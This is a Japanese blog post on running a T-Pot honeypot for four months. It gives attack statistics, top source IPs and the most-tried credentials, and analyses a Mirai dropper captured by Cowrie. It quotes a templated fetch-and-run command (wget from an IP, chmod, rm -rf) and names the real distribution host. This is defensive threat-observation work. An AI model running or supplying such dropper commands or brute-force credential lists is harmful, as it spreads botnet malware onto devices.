ハニーポットに来た600万件の攻撃を紐解く
前書き
2019年12月、中国武漢における第一例の感染。
新型コロナウイルスによる空前のパンデミックが発生してから早2年が経ち、今や世界の感染者数では4億人を超える状況になりました。
世界各国では感染者数の増加を抑えるために、様々な企業や組織で働き方が見直されるようになり、これまで紙をベースに業務を進めていた企業ではDXによるデジタル化が進行し、電車を利用して通学をしていた学生はオンライン授業への移行が起こりました。
また、IoT機器がこれまで以上に生活に浸透する事で、人々の生活が便利になると同時にリスクを抱えるように。
このような状況に便乗して、悪用する人がいます。
はい、ハッカー(クラッカー)です。
NICTERが公表している観測調査では、コロナウイルスが猛威を振る前の2018年と比較して年々増加傾向にあるようです。
実際、リモートワークを実施するためにVPNを導入したが、VPNの脆弱性を突かれてパスワードが漏洩してしまったケースなどもあります。
ネットワークに接続される身の回りの機器が増えることで、より脅威は増すでしょう。
このような例を踏まえ、攻撃者がどのような手口で攻撃をするのかを収集するために、囮の環境を用意し、実際に到達した攻撃を観察していこうというのが本記事の内容となります。
ハニーポットとは
攻撃を誘い込んで観測するためにはあえて脆弱な環境を用意してネットワークに公開する必要があります。この脆弱な環境のことを一般的にハニーポットと言いますが、著名なプロジェクトで言うと、The Honeynet Projectが有名かなと。結構面白い研究を公表しているので、興味ある方は是非。
また、ハニーポットは下記のように高対話型、低対話型の大きく2種類に分類することができます。
- 高対話型: 実際のOS /アプリケーションを使用した環境
- 低対話型: OS / アプリケーションを模倣した環境
ハニーポットを構築する際は、WOWhoneypot、T-Potなどがよく使用されますが、前者は低対話型、後者は低~高対話の混合タイプとなります。
今回はT-Potを使用した環境を用意しました。
T-Pot is 何
T-PotはSSH、Telnet、Webアプリケーションなどの様々なシステムをDockerコンテナ上で起動し、各システムに対する攻撃を収集、分析します。
開発はドイツテレコム社が行ってまして、比較的容易に立ち上げられますが、収集されたログはテレコム社にも送られます。
インフラ環境
T-Potを構築するにあたって、Githubでは以下の通りシステム要求事項が記載されています。
8GB RAM
128GB SSD
DHCPを通したネットワーク
プロキシされていないインターネット環境
上記の要件を参考に以下の構成でセットアップしました。
- インフラ — AWS
- Service: Lightsail
- RAM: 8GB
- SSD: 160GB
- OS: Debian v10.11
- T-Pot: v20.06.2
ディストリビューションにDebianを選んだのは、インストールドキュメントがDebianを前提に書かれているためDebianを選択しました。
月々の運用コストとしては$40~$45ぐらいです。
T-Pot サービス
T-Potを立ち上げると、20以上のサービスが起動します。以下に各サービスの概要を記載しておきます。
- adbhoney: adb(Android Debug Bridge)をエミュレートする低対話型ハニーポット
- ciscoasa: CVE-2018–0101に対する攻撃を観測
- citrixhoneypot: CVE-2019–19781に対する攻撃を観測
- conpot: 産業システムを模倣したサービスに対する攻撃を観測
- cowrie: SSH,Telnetに対する攻撃を観測
- ddospot: UDPベースのDDoS攻撃を観測
- dicompot: 医療系通信を観測
- dionaea: マルウェア収集用。ハエトリグサという意味
- elasticpot: Elasticsearchサーバーをエミュレートしたハニーポット
- Galstopf: Python Web アプリケーションをエミュレーション
- heralding: 認証関連の攻撃を観測
- honeypots: ネットワークトラフィック、ボットアクティビティ、およびユーザー名/パスワードのクレデンシャルを観測
- honeypy: UDPまたはTCPベースのサービスをエミュレート
- honeysap: SAPシステムに対する攻撃を観測
- honeytrap: TCP/UDPで待ち受ける低対話型のハニーポット
- ipphoney: インターネットに公開されているプリンタをエミュレート
- log4pot: CVE-2021–44228に対する攻撃を観測
- mailoney: スパムメール送信の踏み台攻撃を観測
- medpot: 2575 ポートでの医療機器向けの攻撃を観測
- rdpy: Microsoft RDPを模倣した環境
- snare: Glastopfの後継。既存Web Appに対する攻撃を観測
- tanner: 上記snareから送信されるデータを評価
Let’s Begin
T-Potを構築してから現時点(2022.02.14)までの4ヶ月間で、6,095,929件の攻撃が溜まりました。基本起動しっぱなしでしたが、件数としてはそんなに多くないと思います。大規模組織だと1ヶ月で1000万件以上はザラにやられてそう。
まずは国別、攻撃元IP、OS、入力されたユーザー名 /パスワード別など簡単に見ていきましょう。
国別 — Top10
1: USA -アメリカ
2: Czechia -チェコ
3: Chaina - 中国
4: Netherlands - オランダ
5: Vietnam - ベトナム
6: Indonesia - インドネシア
7: India - インド
8: Russia - ロシア
9: Malaysia - マレーシア
10: Ukraine - ウクライナ
個人的にはTop3にアメリカ、中国、ロシアが埋まるのかなと思っていたのですが、チェコが2番手に来るのは意外ですね(偏見)
攻撃元IPアドレス
1 - 193[.]86[.]95[.]34: 566,165件
2 - 185[.]232[.]52[.]40: 425,146件
3 - 118[.]98[.]236[.]95: 175,484件
4 - 193[.]3[.]19[.]93: 97,425件
5 - 58[.]84[.]43[.]46: 86,506件
6 - 192[.]81[.]218[.]205: 75,712件
7 - 91[.]214[.]124[.]33: 50,223件
8 - 65[.]33[.]255[.]133: 35,606件
9 - 159[.]89[.]89[.]102: 31,617件
10 - 94[.]232[.]42[.]157: 29,761件
OS別
1 - Windows 7 or 8: 2,994,587件
2 - Linux 2.2.x-3.x: 1,916,386件
3 - Linux 3.11 and newer: 807,772件
4 - Windows NT kernel: 245,448件
5 - Windows NT kernel 6.x: 105,780件
6 - Linux 2.2.x-3.x (barebone): 75,534件
7 - Linux 3.1–3.10: 21,461件
8 - Windows XP: 20,246件
9 - Windows NT kernel 5.x: 9,405件
10 - Linux 2.2.x-3.x (no timestamps): 6,461件
Windows XPという10年以上も前のシステムがランクインしてますね。既にMicrosoftからのサポートは終了されてますが、中国では確かXPのリリース時期にインターネットの普及が加速し始める段階で、人気のOSだったはず。
ここ最近の政府の方針では海外製OSの使用を禁止する流れですが、実際どうなんですかね。XPベースで開発された物が移行されずに現在も使われているケースもありますし、そのシステムがやられてbot化したものがアクセスしてきたぐらいしか見当つかないですね。(アクセス元の国情報が掴めないのでなんとも)
入力されたユーザー名
1 - root: 122,880件
2 - sa: 4,218件
3 - admin: 3,658件
4 - user: 3,023件
5 - nproc: 2,207件
6 - test: 1,361件
7 - (empty): 763件
8 - postgres: 710件
9 - pi: 471件
10 - knockknockwhosthere: 424件
圧倒的”root”って感じですね。2位の”sa”はSQL Serverに対して打たれたものかなと。
入力されたパスワード
1 - 123456: 3,977件
2 - nproc: 3,838件
3 - (empty): 3,036件
4 - admin: 2,533件
5 - password: 1,769件
6 - root: 1,707件
7 - 1: 1,578件
8 - 123: 1,091件
9 - 1234: 1,074件
10 - 12345: 772件
さてさて、ここからは各サービスに絞って見て行きたいところですが、T-Potのサービスを全て細かく観察していくと季節が変わりそうなので、普段よく観察しているCowrieを見ていこうかなと。
Cowrie
CowrieはSSH/Telnetを対象にしたブルートフォース攻撃、シェルの対話を記録するよう設計された中~高対話型ハニーポットです。シェルに進入して実行されたコマンドや、その際に外部からダウンロードしてきたマルウェアを退避して保管するというなかなか優秀なハニーポットです。
まずは侵入した後に打ち込まれたコマンドから。
パッと見たところ”uname”、”cat /proc/cpuinfo”が目立ちますかね。どちらも攻撃者がシステムやCPU情報を収集する段階でよく実行されるものですが、うーん、正直面白くないですね。
次に外部から取得されたファイルを確認します。
ダウンロードされたファイルは/data/cowrie/downloads配下で管理されているため、SSHでサーバーにログインして表層解析(プログラムを実行せずに分析する事)して行きます。
お、いくつか入ってますね。ただ各ファイルタイプが掴めないので、fileコマンドで調べます。
RSAの公開鍵やASCIIテキストなどがありますが、一つだけ何やら悪そうなファイルがありますね。一番上のbashに目をつけてみましょう。
viewコマンドで中身を確認した結果。
ざっと見たところ、wgetでHTTP: //23[.]254[.]247[.]214からファイルをダウンロードしてきた後に、chmodで対象プログラムに対して実行権限を付与し、実行。プログラム終了後はrm -rfでディレクトリを丸々削除と。
cd /{DIR} || cd /{DIR} || cd /{DIR}; wget http://{IP_ADDRESS}; chmod +x; rm -rf {DIR}
上記のようなタイプのスクリプトはよくTelnet系で見られます。
配布元のサーバーが気になるので、URLhaus(悪質なサイトを追跡、閉鎖することを目的に設置されたサイト)で検索をかけると、ヒットしました。
バラまいているサーバーはどうやらUSAの模様。また、配布元から配られるファイルのSHA-256ハッシュ値も確認できたので、VirusTotalに送信したところ、MiraiのELFファイルのようです。
Miraiのやり口はハードコーディング(本来別の環境に記述しておくべきコードを直接コーディングする事)されたユーザー名/パスワードのペアを使用し、Telnet上で進入可能なIoTデバイスを探索して感染させるマルウェアになります。
感染端末は、同様に感染可能なIoTデバイスを探索してC2サーバー(感染端末に対して命令を行うサーバー)に通知を行い、ボットネットを構築していきます。C2サーバーと感染端末間の通信は60秒毎に通信が流れ、C2サーバーから感染端末へ命令が発せられる事で、ターゲットとなる企業や組織のシステムに高負荷を与えるDDoS攻撃を実行します。
ちなみにハードコーディングされたユーザー名/パスワード情報例はIPAから公開されてまして、以下の通りになります。
“root”、”admin”というワードが目立ちますね。僕が構築したT-Potの方でも”root”、”admin”の入力件数が上位を占めますので、納得です。
実際、初期設定のまま感染してしまったとの事例もありますし、ユーザー情報をセキュアに更新するのはスゴクダイジ。
ただ、機器によってはパスワードが変更できないケースも見られるため、こうなるともう機械の取り替えとかしか手段がないんですかね。
Next
ざざっと観察して行きましたが、今日紹介した内容はまだまだ攻撃全体のごく一部に過ぎません。
本当はもう少し深ぼってマルウェアの中身を覗いたりしたかったんですが、記事のボリュームとして重くなりそうだったので、一旦これにて。
ハニーポットの世界は奥が深いです。
大規模的に研究している人、DDoSをメインに観測している人、未知のマルウェアを収集している人、ランサムウェアギャングの足跡を追っている人、千差万別です。
また面白い攻撃が観測されたらPart2として記事を書こうかなと。
ではまた。
参考
T-Pot Github — https://github.com/telekom-security/tpotce
サイバー攻撃に関する最近の動向 — https://www.soumu.go.jp/main_content/000771974.pdf
複数の SSL VPN 製品の脆弱性に関する注意喚起 — https://www.jpcert.or.jp/at/2019/at190033.html
顕在化したIoTのセキュリティ脅威とその対策 — https://www.ipa.go.jp/files/000059579.pdf
A Week’s Progress on the T-Pot Honeypot — (https://cmcginley.com/a-weeks-progress-on-the-t-pot-honeypot/)
Discussion